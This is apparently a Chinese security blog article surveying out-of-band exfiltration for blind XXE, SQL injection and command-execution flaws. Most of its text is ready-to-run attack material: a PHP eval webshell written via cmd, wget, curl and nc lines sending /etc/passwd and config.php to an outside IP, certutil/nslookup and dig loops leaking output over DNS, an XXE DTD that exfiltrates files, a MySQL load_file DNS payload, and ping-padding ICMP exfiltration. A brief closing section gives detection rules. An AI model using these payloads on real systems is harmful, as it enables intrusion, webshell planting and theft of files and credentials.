在渗透中,经常碰到关闭回显的漏洞,常见的XXE盲注,SQL盲注,反序列号无回显,这个时候常用到OOB带外数据通道,带外通道技术(OOB)让攻击者能够通过另一种方式来确认和利用所谓的盲目(blind)的漏洞。在这种盲目的漏洞中,攻击者无法通过恶意请求直接在响应包中看到漏洞的输出结果。带外通道技术通常需要脆弱的实体来生成带外的TCP/UDP/ICMP请求,然后,攻击者可以通过这个请求来提取数据。一次OOB攻击能够成功逃避监控,绕过防火墙且能更好的隐藏自己。
本文的中心是在各种无回显的漏洞环境中使用带外通道技术将其传输的一个总结。
一、可回显
OWASP TOP 10
注入
对于可回显的注入利用基于联合查询、报错、盲注直接利用!
xxe
可回显的xxe直接引用DTD外部实体声明,常见利用方式:读取任意文件、执行系统命令、探测内网端口和攻击内网网站
命令执行&代码执行
代码执行
常见相关函数:PHP:eval、preg_replace + /e模式、assertJavascript:evalVbscript: Execute、EvalPython:exec
直接写入webshell可直接被中间件解析的脚本
命令执行
A. windows
1. 信息收集net view
#获取当前组的计算机名net view /domain
#查看所有域net user
#若如struts等给的权限高用administrator,直接可添加帐号,管理员组,隐藏克隆帐号等操作,如struts2漏洞大多数为adminisrator权限参考文献:横向渗透
2. 读取文件dir /s/a-d/b d:*.php #查找所有php文件位置
3. 文件写入& echo ^<^?php @eval^(^$^_POST[value]^)^;?^>^' > "D:\phpStudy\PHPTutorial\WWW\shell.php"
<>等特殊符号在cmd下需要转码 而且写入文件不可带有<>:等特殊字符
4. msf等后门
B. linux
1. 常见函数:system、exec、assert、shell_exec、passthru、popen、proc_popen、escapeshellcmd、pcntl_exec
2. 特殊符号:|、&、&&、||、;、',",(),{},[],输入输出/重定向,通配符
3. 敏感数据获取echo PD9waHAgcGhwaW5mbygpOz8+ | base64 -d >shell.php #PD9waHAgcGhwaW5mbygpOz+是<?php phpinfo();?>
base64编码 linux文件名不能带有/(斜杠)
4. DNS等持续性后门
二、无回显OOB(out of band)
倘若在发现这些漏洞的时候,无回显,这时OOB就登场了,常见的方式是HTTP、ICMP、DNS,ICMP隧道一般会进行防御,TCP在甲方中会有严格的防火墙控制端口,HTTP在甲方中一般也会有严格且完整的监控和阻断机制,DNS隧道在当前环境下,由于需要解析,不会对其进行拦截
HTTP
使用前提:无法回显但能出网时使用
Window内置
explorer
查询文件位置web历史记录 会打开目标浏览器,不建议使用,且内容过多,循环导致浏览器卡死
telnet 模拟HTTP请求需强大的交互性
CurlCurl 默认不自带,需解压添加环境变量或安装curl –T {path to file} ftp://xxx.xxx.xxx.xxx –user {username}:{password}
-T通过put方式上传与层地址
Wgetwget指定header头查看日志回显 wget -d --header="User-Agent: $(cat /etc/passwd|tail -n 1)" [[[[[http://120.79.206.249/1.php]
wget --header="User-Agent: $(cat /etc/passwd | xargs echo –n)"
发送post请求,并接受post数据wget --post-data exfil=’cat /etc/passwd’ [[[[[http://120.79.206.249](http://120.79.206.249)]
powershell这里用的是dnslog原理ipconfig > temp && certutil -f -encodehex temp output.hex 12 && set /p MYVAR=<output.hex && set FINAL="[[[[[http://dnslog:9000/!MYVAR!](http://dnslog:9000/!MYVAR!)]&& powershell Invoke-WebRequest !FINAL!"
nc系统可能无nc,且nc被监控的可能性较大nc -w 1000 120.79.206.249 < config.php``nc -l 1234 > config.php
dnslog
根据原理只需要搭建一个上图中scholar域DNS 服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。其本质就是利用FQDN想域服务器解析为iP地址被记录的过程
SQL盲注
不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在WAF的防护下,很可能导致IP被ban。我们可以结合DNSLOG完美快速的将数据取出。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如www.test.com](http://www.test.com)这样的URL发起请求。这样的URL发起请求。](http://www.test.com)这样的URL发起请求。这样的URL发起请求。)))
如下图payload,Load_file加载文件’\’,是对“\”的转义,最终加载的文件是\5.5.53.jf4ef7.ceye.io,load_file读取文件和windows读取文件调用的都是c的fopen()函数,而双斜杠表示网络资源路径,即UNC路径,于是发起了dns请求
MYSQL dnslog条件:
secure_file_priv =""
可以读取磁盘目录
secure_file_priv = G|\
可以读取G盘文件
secure_file_priv = null
load_file限制,不能加载文件在mysql 5.5.34 默认为空可以加载文件,之后的版本为NULL,不能加载文件
XXE
其原理是通过DTD文档引入外部DTD文档,再引入外部实体声明
运行python HTTP 服务器来存放dtd文件python -m SimpleHttpServer 9000
写入dtd文件,dtd文件内容如下:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://ip:9000/%data;'>">
加载外部实体,xml内容如下:
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://ip:9000/linux.dtd">
%sp;
%param1;
]>
<r>&exfil;</r>
Windows
(1) 测试
ping %USERNAME%.jf4ef7.ceye.io
(2. )利用漏洞进行数据提取cmd /v /c "hostname > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=<temp3 && set FINAL=!MYVAR!.jf4ef7.ceye.io && nslookup !FINAL!"
对cmd命令进行base64编码通过findstr -v查找不包含certificate的行提取base64编码后值进行dns解析传输
对获取的数据进行base64解密参考文献:certutil在渗透中的使用
certutilbase64编码后的值 (3.)大文件或者多行数据传输ipconfig > test && certutil -encodehex -f test test.hex 4 && powershell $text=Get-Content test.hex;$sub=$text -replace(' ','');$j=11111;foreach($i in $sub){ $fin=$j.tostring()+'.'+$i+'.jf4ef7.ceye.io';$j += 1; nslookup $fin }
使用十六进制对命令编码,Get-Content读取文件替换十六进制后为空的字符串,循环发送,并用11111标记标记循环的次数解析发送数据 对获取的进行解码
import json
def data():
file_name=open('data.json',"r")
file_json=(file_name.read())
file=json.loads(file_json)
# print(file)
#print(len(file))
# print(file[1])
for i in range(1,len(file)):
a=file[i]['name'].split('.')[1].replace('\n', ").replace('\n', ")
a+=a
print(a)
file_name.close()
if __name__=="__main__":
data()
Linux
(1.) 测试
ping whoami
.jf4ef7.ceye.io 需要注意的是这命令外不是单引号,同样nsloopup/dig也可以执行
(2.) 传输多行命令var=11111 && for b in $(ifconfig|xxd -p ); do var=$((var+1)) && dig $var.$b. jf4ef7.ceye.io; done
使用xxd -p对执行的命令输出16进制编码,循环解析
与十六进制相比,base64编码的文件更小var=11111 && for i in $(ifconfig|base64|awk '{gsub(/.{50}/,"&\n")}1'); do var=$((var+1)) && nslookup $var.$i. jf4ef7.ceye.io; done
ICMP
类型: 0表示请求,8表示响应 代码:代码0表示超时与类型字段一起共同标识了ICMP报文的详细类型 检验和:对包括ICMP报文数据部分在内的整个ICMP数据报的校验和 标识:标识本ICMP进程,请求、应答和超时不可达能 序列号:从0开始,每发送一次新的回显请求加1 选项数据:选项数据字段是可以存放任何数据的,长度的话 理论上 ICMP 包外的 IP 包长度不超过 MTU 即可,但是实际上传不了那么大。
其中0~31是各种协议头部,那剩下的就是data了!原本默认ping传输的是:windows系统,默认传输32bytes,内容是abcdefghijklmnopqrstuvwabcdefghi,共32bytes
Linux默认data传输的是48bytes,在date之前多了个Timestamp from icmp data头,
%%%%,4个%在0~f间变化,发送和返回相同,不同发送返回不同,占用两个字节 090000000000,前两位%%在变动,同一次ping操作,无论发送接收多少包,此数值不变,下一次ping则此值会变动,占用6个字节 101112131415161718191a1b1c1d1e1f20(规律是从10开始的16进制递增,一直到20),占用17bytes !”#$%&’()+,-./01234567,占用23bytes,此值为固定值
当两台主机,允许相互ping,即icmp通信,其他的tcp/udp端口无法通信,可以考虑利用icmp隧道,改变data填充我们自己想要的数据
Windowscmd /v /c "ipconfig > output.txt && powershell $text=Get-Content output.txt;$ICMPClient = New-Object System.Net.NetworkInformation.Ping;$PingOptions = New-Object System.Net.NetworkInformation.PingOptions;$PingOptions.DontFragment = $True;$sendbytes = ([text.encoding]::ASCII).GetBytes($text);$ICMPClient.Send('ip/dns',60 * 1000, $sendbytes, $PingOptions);
System.Net.NetworkInformation:提供对网络流量数据、网络地址信息和本地计算机的地址更改通知的访问
Ping :类允许应用程序确定是否可通过网络访问远程计算机
PingOptions:用于控制如何传输 Ping 数据包。属性DontFragment如果不能在多个数据包中发送数据,则为 true;否则为 false。 默认值为 false,用来发送大量数据,
Ping.send:Send (IPAddress, timeout, buffer);buffer为一个byte数组,包含了要与icmp会送消息一起发送并在icmp回送应答消息种返回的数据,不能超过65500字节
tcpdump 'icmp and src host 192.168.1.130' -w powericmp.pcap
LINUX
cat /etc/passwd | xxd -p -c 16 | while read exfil; do ping -p $exfil -c 1 192.168.1.1;done
xxd将内容转换成16进制,while循环读取赋值给exfil,进行ping,-p指定填充ping数据包的十六进制内容
图形化Wiresherk数据提取不是很友好
tcpdump 'icmp and src host 192.168.1.130' -w icmp.pcap
echo "0x$(tshark -n -q -r icmp.pcap -T fields -e data.data | tr -d '\n' | tr -d ':')" | xxd -r -p
-n: 禁止网络对象名称解析
-q: 只在结束捕获时输出数据,针对于统计类的命令非常有用
-R: 抓包后过滤,-f:-R: 抓包前过滤
-T test:格式化输出,格式为test,若是fields,-e可指定输出哪些字段,
检测和防御
dnslog检测
载荷分析和流量监控载荷分析:把主机名超过50个字符的 DNS 请求作为识别 DNS 隧道的特征.(正常的域名满足 Zipf 定律,而走 DNS 隧道的域名遵循的是随机分布)
流量监测检测网络中的 DNS 流量变化情况,通过检测单位时间内 DNS 报文流速率来检测是否存在DNS隧道,利用检测 txt 类型的 DNS 报文来发现僵尸网络的通信情况。Dns隧道通信一般常用的编码方式 Base64、Binary、Hex 编码等,请求的 Type 一般为 txt(为了返回的时候能够加入更多的信息)payload 部分一般为子域名
基于IOC情报导入IOC情报,对请求恶意IOC的访问进行监控###ICMP只需要禁止ping就可以完全屏蔽此类隐蔽隧道风险,但如果要考虑用户体验,可以解析包体了,然后做否定判定,若ping的data不是标准的windows、linux的data包体(标准大包为合法)内容,则判定非法,报警拦截。
HTTP
注入kibana目前未提供cookieuri:"select" OR uri:"load_file" OR data:"select" OR data:"load_file" OR cookie:"select"
xxe任意文件读取data:("xml version" AND entity AND system AND "file")
系统命令执行data:("xml version" AND entity AND system AND expect)
端口探测data:("xml version" AND entity AND system AND http)
参考文献:
https://github.com/beefproject/beef/wiki/Installation
https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
安全小白,能力有限,还请大佬指正和补充。
*本文作者:罹♛殇,转载请注明来自FreeBuf.COM